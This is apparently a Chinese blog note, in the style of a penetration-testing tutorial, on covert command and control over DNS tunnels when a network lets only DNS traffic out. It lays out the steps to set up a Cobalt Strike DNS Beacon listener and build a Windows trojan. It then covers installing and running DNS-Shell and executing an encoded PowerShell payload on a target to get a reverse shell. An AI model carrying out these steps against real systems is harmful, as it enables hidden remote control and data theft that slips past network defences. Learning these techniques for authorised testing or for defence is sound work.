8月16日笔记

只有DNS协议出网场景

DNS 协议是一种请求、应答协议,也是一种可用于应用层的隧道技术。DNS 隧道的工作原理很简单,在进行 DNS 查询时,如果查询的域名不在 DNS 服务器本机缓存中,就会访问互联网进行查询,然后返回结果。如果在互联网上有一台定制的服务器,那么依靠 DNS 协议即可进行数据包的交互。

DNS隧道是一种网络通信技术,它利用域名系统(DNS)协议来传输非DNS数据。这种技术允许将其他类型的数据(如HTTP请求或其他网络协议的数据)封装在DNS请求和响应中,从而绕过防火墙或其他网络过滤机制,因为大多数网络都允许不受限制的DNS流量。通过这种方式,攻击者可以建立隐蔽通道来进行数据窃取、命令控制或渗透测试等活动,而不易被检测到。

CS开启监听DNS Beacon

创建监听器

生成木马

注意,这里生成木马类型得是 Windows Executable(S)

这里勾不勾选 x64 取决于目标主机的架构

只要木马在目标主机执行成功,我们的 CobaltStrike 就能接收到反弹的 shell。但

是默认情况下,主机信息是黑色的。我们需要执行以下命令,让目标主机信息显示出来

复制代码
checkin
mode dns-txt

在beacon执行以上命令。

利用DNS进行命令控制

DNS-Shell 是一款通过 DNS 信道实现交互式 Shell 的强大工具,该工具的服务器端基于 Python 开发,可以任何一种安装了 Python 环境的操作系统平台上运行,工具所使用的 Payload 均已 PowerShell 命令进行编码,保证了在不同平台间运行的稳定性和兼容性。

下载DNS-Shell

复制代码
git clone https://github.com/sensepost/DNS-Shell.git
DNS-Shell直接模式
复制代码
python2 DNS-shell.py -l -d 192.168.5.138  #边缘服务器ip

发现dnslib库没安装。使用pip2 install dnslib又找不到包。

直接下载源码:

复制代码
git clone https://github.com/paulc/dnslib.git

发现拒绝连接,应该是没代理(kali上);

代理教程:kali网络代理设置-CSDN博客

接收成功。

复制代码
cd dnslib
python2 setup.py install

完成之后回到DNS-Shell的目录下。

生成一段payload,将这段payload复制下来。在目标机cmd窗口执行

复制代码
powershell.exe -e 生成的payload

可以看到,我们已经成功接收到反弹回来的 shell 了。

相关推荐
饕餮争锋1 小时前
设计模式笔记_创建型_建造者模式
笔记·设计模式·建造者模式
萝卜青今天也要开心1 小时前
2025年上半年软件设计师考后分享
笔记·学习
吃货界的硬件攻城狮2 小时前
【STM32 学习笔记】SPI通信协议
笔记·stm32·学习
蓝染yy2 小时前
Apache
笔记
lxiaoj1113 小时前
Python文件操作笔记
笔记·python
半导体守望者4 小时前
ADVANTEST R4131 SPECTRUM ANALYZER 光谱分析仪
经验分享·笔记·功能测试·自动化·制造
啊我不会诶5 小时前
倍增法和ST算法 个人学习笔记&代码
笔记·学习·算法
逼子格5 小时前
振荡电路Multisim电路仿真实验汇总——硬件工程师笔记
笔记·嵌入式硬件·硬件工程·硬件工程师·硬件工程师真题·multisim电路仿真·震荡电流
一条破秋裤6 小时前
一份多光谱数据分析
笔记·数据挖掘·数据分析
zstar-_6 小时前
【算法笔记】6.LeetCode-Hot100-链表专项
笔记·算法·leetcode